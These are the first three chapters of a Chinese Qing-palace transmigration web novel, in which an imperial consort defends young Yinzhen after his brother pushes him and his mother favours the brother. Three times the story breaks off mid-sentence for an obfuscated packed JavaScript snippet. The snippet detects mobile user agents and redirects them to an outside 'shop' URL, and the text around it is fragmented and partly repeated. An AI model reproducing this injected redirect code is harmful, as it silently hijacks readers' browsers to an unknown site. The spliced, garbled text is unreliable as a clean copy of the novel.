《慧妃娘娘养娃日常(清穿)》 1. 第一章 康熙二十三年元宵节。 宫里到处张灯结彩,宫人们在御花园,回廊下各处都挂上了花灯,千秋亭前还放了好大一个鳌山灯,云秀送了自己的好大儿胤禩去尚书房之后,回宫带上煲了一夜的天麻炖鸡汤便拎着往慈宁宫去了,还特意在御花园多转了转看热闹。 一进慈宁宫云秀就察觉到了不对劲。 康熙身边的首领太监梁九功正守在殿外,这说明康熙正在慈宁宫里。 而本应该在尚书房读书的今年五岁的五阿哥胤祺也在廊下探头探脑往外看。 看到云秀来了,倒腾着两条小短腿就往这边跑。 “慧娘娘!” 云秀赶紧制住这个小炮弹,以防他把自己刚做好的汤给弄撒了。 “跑什么,你这是又逃学了?”云秀俯下身子问。 胤祺头摇地像拨浪鼓一样:“皇阿玛带着我们回来的。” “四哥和六弟打架,我和八弟拉架来着。” 云秀:? 没想到元宵节竟然吃上了未来雍正爷的瓜。 四阿哥胤禛和六阿哥胤祚一母同胞,都是德妃所出,不过四阿哥一出世就被抱到了佟佳皇贵妃的承乾宫,一直抚养到如今,只是去年佟佳皇贵妃亲生的皇八女未满月而夭折,皇贵妃悲痛欲绝乃至缠绵病榻,康熙便临时让四阿哥回了永和宫,让德妃代为照顾一段日子。 不过德妃偏心也是宫里出了名的,一向更疼爱打小养在身边的六阿哥胤祚,亲娘偏心眼,四阿哥和六阿哥兄弟之间不合也正常。 不过胤禩怎么掺和进去了? 没等到云秀多问两句,梁九功就过来了。 “慧贵妃娘娘您来地正巧,皇上刚刚还让奴才去长春宫请您呢。”梁九功微躬着身子,笑着说:“您快进去吧,皇上和太皇太后都等着您呢。” 云秀心里直打鼓,这怎么还有她的事,胤祺不是说他和胤禩是去拉架的吗? 不过既然是康熙的圣旨,云秀也不敢耽搁,带着五阿哥赶忙进了殿,一进去便看到太皇太后和太后坐在上首,康熙坐在太皇太后的左手边。 殿内一片肃静,太皇太后和太后神色倒是平静,康熙却沉着一张脸,看着十分唬人。 六岁的四阿哥胤禛和四岁的六阿哥胤祚都跪在地上,而她的好大儿胤禩正被太皇太后揽在怀里坐着。 胤禛板着一张脸脊背挺地笔直,双手紧握成拳抿着唇一副紧绷的样子,而六阿哥则有些东张西望,惴惴不安的心虚模样。 云秀一时有点摸不清状况,只能老老实实地先问了安。 “起来吧,苏麻,给贵妃赐座。”太皇太后抬了抬手,叫了起。 苏麻喇姑立刻引着云秀坐到了康熙身旁,胤禩见她来了也乖巧地喊了一声额娘。 看这小子鬼鬼祟祟的模样,云秀就知道他肯定又是闯了什么祸了。 “这是怎么了,四阿哥和六阿哥怎么跪在这?”云秀看了看太皇太后的神色,发觉她老人家云淡风轻和往常差别不大的时候就大胆开口了。 这起码说明今天的事和胤禩应该关系不大,即使康熙在这太皇太后和太后也是会护着她和胤禩的。 五阿哥规矩地给几位长辈问过安之后也跑到了太后身旁,和胤禩大眼瞪小眼,没敢说话。 “只是小孩子间打闹,本也没什么大事。”太后慈眉善目地先笑着开口了,“倒是胤祺和胤禩这两个皮猴,非得让哀家和皇祖母给评个对错,所以只能劳烦皇帝拨冗过来一趟了。” 康熙神色淡淡,如今已经而立之年,平定三藩□□的康熙早就已经是一个实权帝王了,身上的威压也越来越重,他听到太后的话抬眼看了看靠在两个老祖宗身边的胤祺和胤禩,语气不辨喜怒:“皇额娘言重了,胤禛和胤祚如今都养在永和宫,又是淘气的年纪,兄弟之间拌嘴打架也是常事。” “才不是,六弟嚷嚷着四哥不是他们永和宫的孩子,还说德妃娘娘不喜欢他,还把四哥推到地上了!” 五阿哥一听康熙的话立马就急了,直接站了出来为他四哥打抱不平。 康熙抬眼看过去,五阿哥立刻悻悻地噤声,小声扯了扯太后的袖子:“皇祖母……” 太后摸了摸五阿哥的头:“好了胤祺,在你皇阿玛面前不能没规矩。” 胤禩在太皇太后怀里也不老实,拼命给云秀使眼色。 额娘,快帮四哥说说话! 云秀无奈地摊了摊手,康熙和两位老祖宗都在这,她哪敢说话啊,而且看情形康熙显然是护着德妃和六阿哥的。 胤禛这打小爹不疼娘不爱的,也怨不得长大了脾气那么冷硬。 这事其实也很简单,就如同方才五阿哥所说,六阿哥在尚书房率先挑衅,说了些不成样子的话,现在的胤禛还远没有长大后那么稳重,又是在元宵节这个阖家团圆的节日里听到自己一母同胞的亲弟弟说出这样的话,一时怒火攻心,两人便推搡了起来,只是没想到比六阿哥还要大上两岁的胤禛竟然还没能胜过六阿哥,被推了一把,正好磕在了地上。 而五阿哥和胤禩就是典型的路见不平,拔刀相助了。 当然这里面也有云秀时常对胤禩灌输要和他四哥打好关系的缘故,毕竟这以后她这儿子还得在胤禛手里面讨生活。 自从云秀莫名其妙怀孕生下了胤禩之后,为了避免那恐怖的团灭结局,云秀绞尽脑汁,还是觉得做两手准备,如果胤禩和胤禛自小关系能不错的话,长大之后盼着胤禛能多少念一点幼时的兄弟情义,不要赶尽杀绝。 可惜八贤王和雍正的不对付似乎是天生的,不论云秀怎么在胤禩面前变着法的说胤禛的好话,创造机会让这兄弟俩亲近,胤禩总是兴致缺缺,每日里大都和从小养在慈宁宫的五阿哥在一块,对这个脾气有些冷还有些怪的四哥实在没什么要亲近的意思。 不过还好平时云秀的唠唠叨叨在今天六阿哥实在过分的欺负之下终于有了点作用,五阿哥和胤禩这兄弟俩拉了架,随后一合计还跑来慈宁宫找太皇太后和太后告状,非得给胤禛讨一个说法不可。 两个老祖宗本来不想管永和宫这些糟心事,但是奈何五阿哥和胤禩撒娇耍赖全用上了,又是过节的好日子,太皇太后这才松了口准备管管这闲事,把康熙给请过来了。 而当事人胤禛和六阿哥也被唤来了慈宁宫,听到刚刚康熙的话,胤禛小小的身子摇晃了下,拳头攥紧,没有什么血色的唇瓣也抿成了一条直线,果然,皇阿玛和额娘一样,都是偏心六弟的。 而他无论到哪里都没有人偏疼。 六阿哥人小却机灵,也听出康熙是想和稀泥护着他的,当即便像只小孔雀一样把头昂起来了。 他朝着康熙的方向膝行了两步,十分乖巧地认错:“皇阿玛儿子知错了,不应该在尚书房和四哥拌嘴,只是五哥刚刚说的那些儿子确实没有说过,还请皇阿玛明鉴。” “你胡说,你撒谎!” 五阿哥一听这话哪里还能忍,他打小养在太后膝下,被娇惯地不得了,就连康熙都拿这个儿子没招,活脱脱的宫里小霸王,但是性子却被太后养地极好一点都没歪,所以一听六阿哥颠倒黑白,立刻就急了。 “大哥,三哥,还有太子在尚书房都听见了!” “胤祺!” 太后一听五阿哥攀扯到了太子,立刻止住了他的话,冲着他轻轻摇了摇头。 这可是皇帝的心肝肉,哪能随便被人扯出来。 胤禩在太皇太后身边坐着,见状也有些着急了:“皇阿玛……” “皇帝。” 吵嚷了这么久太皇太后这才出声,神色不动地打断了胤禩的话,“虽说只是孩子间打闹,但既然各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092603|195496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 执一词也不好就这么囫囵过去,否则不是助长了阿哥们信口开河的不正之风吗,哀家看,这事还是细查查吧。” 太皇太后历经三朝,坐镇后宫多年,说的话还是很有分量的,于是六阿哥一下就慌了,连忙看向一旁脸色已经有些冷的康熙。 只是没想到一直在旁边安静当个摆件,一句话都没说的云秀突然被康熙点名了。 “慧贵妃,你怎么看?” 云秀:“……” 她能怎么看,这神仙打架不要殃及她这个凡人啊! 不过这事虽然是五阿哥一直在前头冲锋陷阵的,但是她宝贝儿子也掺和进去了,她想摘出来也是可能性不大。 但是康熙显然不想把事闹大,这时候她站那边都不合适,于是只能装傻:“臣妾愚钝,听了半天也没怎么听明白,只是今儿是元宵,是花好月圆的好日子,四阿哥和六阿哥还小,这地上冷硬伤了膝盖就不好了,皇上还是开恩先让两位阿哥起来回话吧。” “臣妾带了些天麻鸡汤,皇上和两位老祖宗若是不嫌弃便先暖暖身子,再和这几个孩子生气也不迟。” 云秀这话一出殿里肃穆的气氛顿时就散了不少。 太皇太后一听便笑了,抬起手遥遥指着云秀说:“你啊,惯是个没心没肺的,怪不得把胤禩也带的淘气。” “云秀的手艺一向不错,尤其是这药膳炖地极有滋味,味道好还养身,皇帝也一起尝尝吧。”太后也说道。 云秀在来到这儿之前跟着做中医的爷爷学过不少东西,也算是颇通些医术,按着历史太皇太后再过三年便到了大限,她入宫这些年太皇太后真是把她当亲女儿一样疼,所以云秀也总是记挂着这事,从去年开始就变着法的做药膳,带着太皇太后锻炼身体,想着能让太皇太后延年益寿。 好在如今看起来太皇太后的身子骨还很硬朗。 有了云秀解围,康熙也接下了这个台阶,抬抬手让胤禛和六阿哥都起来了,苏麻喇姑和云秀的贴身丫鬟半夏和佩兰赶忙给康熙和两位老祖宗以及几位阿哥各盛了一碗汤。 云秀入宫早,在康熙十一年就从蒙古进了宫,如今也有十二年了,算是如今宫里资历最老的嫔妃了,只是云秀入宫时年纪小没直接册封,直到康熙十五年才正式册封侍寝,而且她一向不爱争宠,一进宫被太皇太后养在慈宁宫,成了嫔妃也多在慈宁宫陪着太皇太后和太后说话,所以虽然和康熙堪称青梅竹马,也有了个儿子,但是康熙却和这位慧贵妃实在算不上熟。 一年也翻不了几次牌子,私下说过的话更是两只手都能数地过来。 宫里这样的嫔妃很多,不过大都是些品级低微的庶妃,像云秀这样出身高位份也高,恩宠却冷成这样的真是头一个。 连太皇太后都拿她没招了,好在肚子争气生了个儿子,太皇太后便也懒地催她了。 所以康熙并没有尝过云秀的手艺,本以为只是宫中小厨房做出来的寻常鸡汤,没想到一入口他便眼前一亮。 这个平日里默默无闻的慧贵妃,在吃食上好像确实颇有些造诣。 “哎呦,四阿哥这是怎么了,怎么出了这好些血!” 康熙正品着汤羹,突然听到苏麻喇姑惊诧的声音。 方才苏麻喇姑给胤禛上了鸡汤,瞧着胤禛袖子有些长了,便给胤禛挽了挽袖子,没成想一挽起来,便露出了有些血肉模糊的手腕。 云秀都有些吓懵了,这看着这么严重,这孩子竟然就咬着牙,一句话也没说。 六阿哥见状也慌了,也想到了是他方才那随手一推,四哥好像确实磕到了。 但是伤成这样,他恐怕是免不了罚的了。 康熙把汤碗搁在了桌上,清脆的瓷器碰撞声让六阿哥心中一跳,刚想跪下请罪,外头传来了小太监的通报声。 “德妃娘娘到!” 2. 第二章 一听到德妃来了,六阿哥眼睛顿时便亮了起来,额娘来了,皇阿玛肯定不会责怪他了! 太皇太后捻着手中的檀木佛珠,淡淡地吩咐:“苏麻,去请太医为四阿哥诊治。” 苏麻喇姑福了福身,赶忙出去传太医了,正好碰上德妃进殿,德妃很给苏麻喇姑面子的微微颔了颔首。 苏麻喇姑是太皇太后身边的老人了,就连康熙都要给三分薄面,更不必说在康熙面前一向谨小慎微温柔小意的德妃了。 德妃也是被康熙的旨意召来的,不过她在来之前就已经大概知道了今天发生了什么事,所以还算镇定地进了正殿,一瞧果然康熙和两位老祖宗都在里面,慧贵妃也已经到了。 云秀懂些医术,太皇太后年纪大了,慈宁宫也常备着些药物,云秀一见胤禛伤成这样也顾不上那么许多了,不论以后是多么冷硬强势的皇帝,现在也只是个不到六岁的孩子,所以赶忙让人去取了药箱来,在太医来之前先给胤禛清理包扎一下。 胤禛垂着眼乖巧地任由云秀摆弄,云秀看了一眼便心中有数了,这八成是磕到了泥沙混杂的地面上,伤口看着吓人但应该只是皮外伤,上头有些沙土要清理了。 云秀握着胤禛的手腕动了动,小心翼翼地问他:“疼吗?” 胤禛摇了摇头。 云秀松了口气,那就好,应该没伤到骨头。 胤禩也凑过来小声问:“额娘,四哥没事吧?” 云秀无奈地瞪了他一眼,这孩子真是平时让他和胤禛多玩他不听,这种时候倒是强出头了。 胤禩摸了摸头,他聪明,也知道云秀有些生气,所以扯着云秀的裙摆便撒起娇来。 “好了,别胡闹了,去你乌库妈妈那。”云秀低声道。 胤禩脆生生地应了一声又跑回太皇太后那了。 胤禛在一旁怔怔地看着,心中有些酸楚,慧贵妃娘娘待八弟真好,或许宫里所有的娘娘对自己的儿子都是这样的。 康熙打量着云秀妥帖娴熟地给胤禛包扎,眉间微挑,随后便听到了德妃柔和的声音传来。 “臣妾给皇上请安,给太皇太后,太后请安。” 德妃生地纤细小巧,面如桃花,一汪漂亮的眼睛配上柳叶细眉,像极了古画中的仕女图,樱鼻粉唇,肤色白皙,是个难得的温柔似水的美人儿。 这长相气质是十分符合康熙的审美的,否则德妃也不会在这几年间从一个宫女升为妃位,还生下了两子两女,还都间隔极短,可见康熙有多么宠爱她。 “起身吧,赐座。” 康熙抬手叫了起,德妃却没有起身,依旧低垂着头恭敬地说:“臣妾有罪,未能管教好胤禛和胤祚,让皇上和两位老祖宗在这元宵佳节烦心,故而不敢起身。” 说完她抬头看向一旁坐立难安的六阿哥,蹙眉说道:“胤祚,还不快来给你皇阿玛请罪。” 六阿哥闻言也乖乖地到德妃身旁跪下了。 太皇太后在上头看了一会儿这母慈子孝的场面才慢悠悠地开口:“德妃,胤祚的事倒是可以先放一放,胤禛这次可是伤地不轻,你也多瞧瞧。” 云秀这时已经给胤禛简单包扎了一下,闻言便也退到一边了,不耽误德妃上台。 胤禛脸色有些白,看着德妃和六阿亲密的样子低声给德妃见礼:“胤禛给额娘请安。” “好孩子,让额娘瞧瞧。”德妃赶忙上前看了看胤禛的伤势,柔声说:“你六弟年纪小没有分寸,额娘一定好好罚他,让他给你赔罪。” 德妃已经知道了来龙去脉,这次六阿哥是没有什么能辩解的了,此事最好的解决方法就是认错,绝不能和五阿哥八阿哥犟嘴,她哭一哭,胤祚再好好认个错,这事八成也就糊弄过去了。 云秀在一边听着,在心里翻了个白眼,德妃这做戏也要做全套啊,看着是关心胤禛,实际上还是为六阿哥开脱,康熙和两位老祖宗都是人精,怎么可能听不出来。 不过德妃碰上六阿哥的事确实也是关心则乱。 这事若是一个处置不好,六阿哥在皇上面前算是彻底没脸了。 于是德妃继续态度谦卑地认错,把责任都揽到了自己身上,说自己管教不严,这才让胤禛和六阿哥起了冲突。 康熙显然是不想追究,他瞧了一眼温柔恭顺的德妃,开口道:“皇祖母,小五刚刚夭折不久,德妃去年又刚刚生产,温宪年幼也是需要人照看的时候,德妃也是分身乏术难免有疏漏的地方,今日之事就到此为止吧。” 德妃这两年圣宠正盛,只是不巧年前刚刚夭折了长女,正在悲痛的时候紧接着又诞下了皇九女,所以康熙正是对她最怜惜的时候。 太皇太后微微一笑,从容开口:“皇帝说地是,德妃如今辛苦难免有照看不过来的时候,而且她也该好好养养身子,哀家看倒不如把胤禛送回承乾宫还是由皇贵妃照顾吧。” 胤禛听到太皇太后的话嘴唇动了动,忍不住抬头悄悄看向德妃,见德妃神情没有丝毫变化,又失落地垂下了头。 “皇贵妃病重正在养身子,还是不要叨扰她了。”康熙语气平稳,却不容置喙地敲定,“德妃毕竟是胤禛的生母,自不会亏待了他的。” 德妃闻言也赶忙说道:“臣妾万万不敢亏待了四阿哥,待胤禛也一向是和胤祚一样的。” 太皇太后和太后本也就是被五阿哥和胤禩缠着才管的这闲事,既然康熙已经下了决议,太皇太后也没再说什么。 这事最终还是这么敷衍过去了,康熙对这些后宫之事一向不是太上心,若不是太皇太后请他来,他八成也是懒得管的,如今事情已经解决了,康熙也没多留,回养心殿批折子去了。 六阿哥跟在德妃身旁沾沾自喜,皇祖母和乌库妈妈疼五哥和八弟又怎么样,皇阿玛和额娘最疼他! 他还趁着众人不注意向五阿哥和胤禩扮了个鬼脸。 “那臣妾也先告退,带胤禛和胤祚回永和宫了。”德妃知道太皇太后一向不喜欢她,所以康熙一走也赶忙告退了。 太皇太后淡淡地嗯了声,德妃便连忙牵着六阿哥,又给胤禛递了个眼色,示意他跟着出来。 胤禛规规矩矩地向太后和太皇太后行礼:“孙儿告退。” 太后露出了个笑容,慈爱地说:“回去吧,让你额娘召太医好好给你瞧瞧。” 五阿哥和胤禩是一肚子气,尤其是五阿哥眼睛都要冒火了,他什么时候受过这种委屈! 胤禩也好不到哪去,只不过他一向心思就比五阿哥深些不会情绪那么外露,但是现在也是臭着一张脸。 云秀见德妃离开,也起身说:“老祖宗,臣妾也先带胤禩回去换身衣裳。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092604|195496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 胤禩八成是动手拉架了,左臂衣袖脏了好大一块。 太皇太后点头:“回去吧,这慈宁宫也是乌烟瘴气。” 云秀听太皇太后这么说也明白她是在对德妃不满,太后和太皇太后都不喜欢德妃,尤其是太皇太后,总觉得德妃和先帝的董鄂妃是一个路数的,惯会装作温柔小意的模样来勾引皇帝,向来就对德妃没有什么好脸色。 不过康熙不是顺治,即使宠爱德妃也没有什么越矩的事,而且康熙对德妃也不是专宠,所以太皇太后也就睁一只眼闭一只眼了。 胤禩从榻上爬下来垂头丧气地走到云秀身边,云秀牵上他的手出门,抬头便看到了德妃还在廊下给六阿哥穿披风,德妃蹲着身子,十指纤纤十分细心妥帖地给六阿哥系着出着厚厚风毛的鹿毛披风,似乎还在小声安慰着六阿哥,伸手怜惜地揉了揉他的脸颊。 而手上有伤的胤禛却正由宫女帮着系披风,那披风看着也没六阿哥的那么精致厚重,胤禛神色平静地看着额娘和弟弟亲密地说话,脸上没有什么表情,似乎是习惯了也似乎是早已没有了什么期盼。 云秀看着有些五味杂陈,她如今也是有孩子的人,有些难以理解为何德妃会如此偏心,胤禛也是她身上掉下来的肉啊。 德妃听到宫人们问安的声音才发觉云秀也出来了,起身福了福身:“臣妾给贵妃娘娘请安。” 云秀抬手:“起来吧,这大冷天的不必多礼了。” 德妃笑了笑,看向云秀身旁的胤禩:“说起来,臣妾还应当给八阿哥包一份厚礼,多谢八阿哥在胤禛和胤祚这两个不懂事的中间调停。” 六阿哥哼了一声偏过脸去。 胤禩心里虽然有气,但面子上还是做足了:“德妃娘娘客气了,这都是五哥的功劳,不必谢儿臣。” 德妃笑着说:“贵妃娘娘把八阿哥教地真好,规矩齐全还这么懂事。” 云秀也没什么心思和德妃虚以逶迤,她略点了点头,看向一旁沉默的胤禛,还是忍不住说了一句:“胤禛手上的伤要好好上药包扎,妹妹回去了可得上点心。” “多谢娘娘指点,臣妾记着了。” 说罢,德妃便告退了,带着胤禛和六阿哥还有浩浩荡荡的宫人们离开了。 半夏也已经给胤禩穿戴好了披风帽子,云秀看着他气鼓鼓的小脸,忍不住戳了一下:“好了小英雄,咱们也回宫吧?” 胤禩张开手:“额娘抱抱。” “多大的人了还要抱,不知羞。”云秀嘴上虽然那么说,但还是笑着把胤禩抱了起来。 胤禩今年还不到三岁,也差不多是她还能抱得动的极限了。 趁着能抱动的时候抱一会也没什么。 云秀和德妃分了两个宫门离开的,胤禛被宫女牵着看了看前方被德妃牵着还在撒娇的胤祚,又忍不住扭头看了看另一边。 慧贵妃娘娘正抱着八弟往外走,八弟也环抱着慧贵妃娘娘的脖子蹭了蹭,慧贵妃娘娘停住脚步把八弟掂了掂,又笑着捏了捏八弟的脸,身后的宫人们也都喜笑颜开,笑意盈盈地看着这母子俩。 胤禛收回视线,看着脚下被冰雪覆盖的枯草,远处落满了积雪的房檐被寒风一吹,未曾消融的冰雪便落在了他的脸颊上。 这样冷的冬天不知道什么时候才能过去,他在心里想着。 3. 第三章 胤禩是心情不佳心里郁闷方才才闹着要云秀抱的,出了慈宁宫没走多远他又闹着要下来了。 他已经快三岁了,累着额娘怎么办。 云秀把他放下,抬手把胤禩头上滚圆毛绒绒的熊皮帽子正了正。 然后笑着说:“好了,小厨房做了你最爱吃的桂花酒酿元宵,先回去用午膳好不好?” 胤禩闷闷地点头,紧紧牵着云秀的手,故意往雪地里走,深一脚浅一脚地踩着脚下的冰雪回宫,云秀也纵着他,他穿的靴子是鹿皮制的不会进水,回头换一双靴子就是了。 长春宫内,云秀剩下的两个贴身侍女豆蔻和天冬正在院子里领着宫人们挂宫灯和彩穗,院里的两棵如今光秃秃的杏树上都贴上了许多喜庆的剪纸和红灯笼,云秀前几天闲来无事还带着他们做了些元宵式样的小玩意,如今也白圆圆一个挂在廊下和树梢,抬眼望去就是一片喜气洋洋的元宵节景象。 “娘娘和八阿哥回来了!” 豆蔻一见云秀和胤禩回来了,便赶忙迎了上去,她还不知道慈宁宫里发生了什么事,只以为云秀是刚刚从尚书房把胤禩接了回来。 “小厨房已经备好午膳了,娘娘和八阿哥先进殿暖暖身子,奴婢马上就安排上膳。”天冬也上前福了福身子笑着说。 云秀点头,牵着胤禩的手进殿了,殿内烧着地龙暖和地如同初春一样,云秀虽然没什么宠爱可架不住位分高,又是太后的亲侄女,太皇太后的侄孙女,所以宫里也没人敢慢待她,内务府送来长春宫的东西也不比几个宠妃处的差。 云秀解了斗篷,又俯下身子给胤禩把斗篷和帽子都摘了,随后推着他到炭炉旁烤火,又吩咐半夏去给胤禩取双新的鞋袜来。 胤禩回了长春宫脸色就好了许多,伸着小手烤了一会火就自己爬到窗边的榻上去了,还很乖巧地自己把鞋袜都脱了,半夏给他穿上了烘地温暖又柔软的棉袜,笑着说:“八阿哥如今长得快,奴婢看又得新做一批鞋子衣裳了。” 云秀正喝着热茶暖身子,闻言眉头一挑:“胤禩整日像只小猪似的,除了吃就是睡,可不是得长个子了,否则都白白浪费了那么些粮食。” “额娘!” 胤禩被她逗地小脸通红,撅起嘴巴一副委屈的样子。 “终于肯跟额娘说话了?”云秀笑着上前抬手捏了捏他的小脸:“得了,不知道你在跟谁较劲。” 胤禩从出了慈宁宫就在生气,一句话也没说,如今回了自己的地盘就开始倒豆子似的和云秀抱怨。 “皇阿玛偏心六哥,明明四哥都被欺负成那样了,额娘你又不是没有看到六哥那个得意的样子!” “我和五哥都要被他嘲笑了!” 胤禩和胤祺这兄弟俩本想着让皇祖母和乌库妈妈做主肯定能还四哥一个公道,谁能想到皇阿玛竟然还是护着德妃和六哥。 而且虽然康熙明面上是在胤禛和六阿哥之间偏向了六阿哥,可实际上则是胤禛,胤禩和五阿哥绑在一块都没能让六阿哥受罚,让胤禩怎么能不生气。 胤禩数落来数落去,最后哼哼唧唧地说:“乌库妈妈都开口了,皇阿玛都还护着六哥,额娘,你说皇阿玛为什么那么喜欢六哥,就因为皇阿玛喜欢德妃娘娘吗?” 康熙最偏心的是太子,这满宫里谁都知道,太子是储君又是嫡出,还是康熙亲自带大的,别的阿哥也不好说什么,可六阿哥出生后,俨然成了太子之下最受宠爱的皇子了,又把众人落了一个档次,这就有些让其余的阿哥们难以接受了。 云秀揉了揉胤禩的头,思忖了一会儿柔声说:“胤禩,你还太小了,这里面的道理呢你不明白,乌库妈妈虽然是皇阿玛的祖母,你皇阿玛也十分孝顺,但是皇阿玛还是皇帝,是天底下最大的,自然是说一不二,能明白吗?” 这些话果然对还没满三岁的胤禩来说有点太难理解了,他眨了眨眼,似懂非懂地点了点头。 云秀在心中无奈地叹了口气,她还记得她刚刚进宫的时候,那时康熙还不满二十岁,虽然已经亲政了但难免青涩,很多朝政上的大事还要寻太皇太后一起拿主意,而如今情形就已经完全不同了。 哪怕太皇太后早就不再关心朝政,一心只想含饴弄孙,可已经大权在握的康熙,难免还是有所有皇帝的共性——多疑。 对这个一手抚养他长大的祖母自然是孝顺的,但也有几分戒心,更多了皇帝乾纲独断的威严,不会再事事都听太皇太后的,对此太皇太后也没怎么放在心上不会真和康熙去打擂台,就如同今日之事,也是无关痛痒的闲事罢了。 只是这些现在的胤禩显然是理解不了的,他只是看到了自己的皇阿玛偏心六哥,根本不把四哥,五哥还有他放在心上,所以生气。 都是半大的孩子,自然也都是渴望着父母的疼爱的,论起来胤禩自小也没得到康熙多少关心,一个是因着云秀不受宠,康熙自然来长春宫便少,二来胤禩是唯一一个蒙古嫔妃所出的皇子,打小就在太皇太后跟前长大的,论起出身来甚至比太子都要贵重,为了太子的地位稳固,康熙也绝不会多宠爱胤禩。 想到这云秀就有些心疼胤禩,历史上胤禩因为生母良妃辛者库的出身备尝冷眼还被康熙怒斥为辛者库贱妇所出,不能承继大统,而如今胤禩成了宫里身份最贵重的阿哥,可依旧得不到自己阿玛的宠爱,真是命运弄人。 好在胤禩并不缺爱,额娘很疼爱他,皇祖母和乌库妈妈更是把他捧在手心里,所以胤禩也只是抱怨了一阵就又把康熙抛到脑后了。 哼,他才不稀罕皇阿玛的偏心呢,有的是人喜欢他! 不过胤禩又别别扭扭地开始担心胤禛。 他扯了扯云秀的袖子,小声说:“额娘,德妃娘娘回宫之后一定会责骂四哥的,四哥好可怜,有没有什么法子帮帮四哥。” 这个云秀就真的有些无能为力了。 德妃毕竟是胤禛的生母,哪怕从小在皇贵妃膝下长大,可宗室玉碟上的生母可是没有改的,胤禛住在永和宫由德妃养着天经地义,谁也说不出什么不是来,更何况康熙如今正宠爱德妃了。 而皇贵妃又抱病在床,看样子也是没什么心力管这事。 胤禩眨巴着眼睛,期期艾艾地看着云秀。 他虽然不怎么喜欢平时脾气古怪,性子又冷又硬的四哥,但是四哥这次真的是太可怜了,而且也算是他和五哥把这事给闹大的,所以胤禩难免有点心虚。 云秀想了想,今儿这事闹到了慈宁宫,连康熙都惊动了,差点就让六阿哥栽了跟头,德妃怕是不会给胤禛什么好脸色的,那么小的孩子身上还有伤…… 而且这事论起来也是自己儿子好心办坏事了,不论是出于给胤禩收拾烂摊子还是对胤禛的怜惜,云秀都点头答应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092605|195496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “今儿是元宵,晚上还有合宫夜宴,德妃不会如何为难四阿哥的,待到明天额娘亲自去永和宫看看可好?”云秀柔声说。 胤禩这才高兴了,抱着云秀的脖子撒娇,说额娘最好了。 豆蔻和天冬这时也掀了帘子进来,说午膳已经在外间备好了,还特意煮了胤禩最喜欢的桂花酒酿元宵,胤禩一听便喜笑颜开地想跳下榻去吃元宵。 云秀把他拉住:“先等等,把衣裳换了,瞧你脏的。” 胤禩衣袖上的污渍却是是拉架的时候和胤禛一起摔到地上了,不过有胤禛垫着他没什么事,只是衣服脏了一块,而且胤禩怕云秀担心,所以没敢跟她提这事。 现在云秀提起,胤禩也一句话没说,乖巧地配合云秀给他换衣裳。 而永和宫内,气氛却没有这么温和了。 德妃带着胤禛和六阿哥回宫之后,方才苏麻喇姑去传的江太医也已经改了道到了永和宫,德妃把六阿哥抱到榻上坐好,又塞了个汤婆子给他暖身子,她探了探六阿哥的额头发现有些发热,顿时便有些慌张地喊道:“胤祚这怎么发热了,还不过来瞧瞧!” 江太医本以为自己是来给四阿哥看诊的,跌打损伤的药膏都拿出来了,听见德妃的话还愣了一瞬,这才赶忙上前给六阿哥查探了一番。 胤禛看着自己的额娘满脸担忧,六弟一点不适都如临大敌的模样,心下有些酸楚,他一个人孤零零地站在殿中,还是德妃身旁的大宫女如意机灵,这才引着他到一旁坐下。 德妃和六阿哥颇受皇上宠爱,今日之事江太医也略有耳闻,故而听到六阿哥有些不舒坦心下还有些慌张,直到给六阿哥诊了脉后,江太医才松了口气。 “娘娘,六阿哥无事,也并没有发热,您是关心则乱了,娘娘若是不放心,臣给六阿哥开几副安神的汤药,六阿哥服下睡一觉就没事了。” 德妃这才放下心来,连连说:“是了,今儿胤祚一定是受了不小的惊吓,你好好开一些安神的方子来。” 江太医连连称是,但也没忘了苏麻喇姑让自己过来是看四阿哥的伤势,于是试探地说道:“那微臣就去为四阿哥诊治了。” 德妃忙着让宫人给胤祚添被褥上热茶,也顾不上这边,听到江太医的话也只是点了点头。 江太医给胤禛看了看伤口,又把了脉,这才起身恭敬地回道:“娘娘,四阿哥是皮外伤不碍事,只需每日上药包扎就是,微臣待会开几副药,四阿哥服下伤口能好地快些。” 德妃坐在榻上,六阿哥被包地严严实实的,紧挨着德妃,眼睛滴溜溜地转,看着太医给胤禛诊脉敷药。 对于胤禛的伤势德妃始终是神情淡淡,她微微点了点头没再多问一句。 江太医也没多待,留下药方之后就告退了,出了永和宫的正殿就看到德妃的大宫女如意跟了出来,她在廊下叫住了江太医,从袖中掏出了一个银袋,塞到了江太医手中。 如意:“江太医辛苦过来一趟,这是德妃娘娘赏的。” 江太医连连推辞:“不敢不敢,这本就是微臣的分内之事,不敢受娘娘的赏赐。” 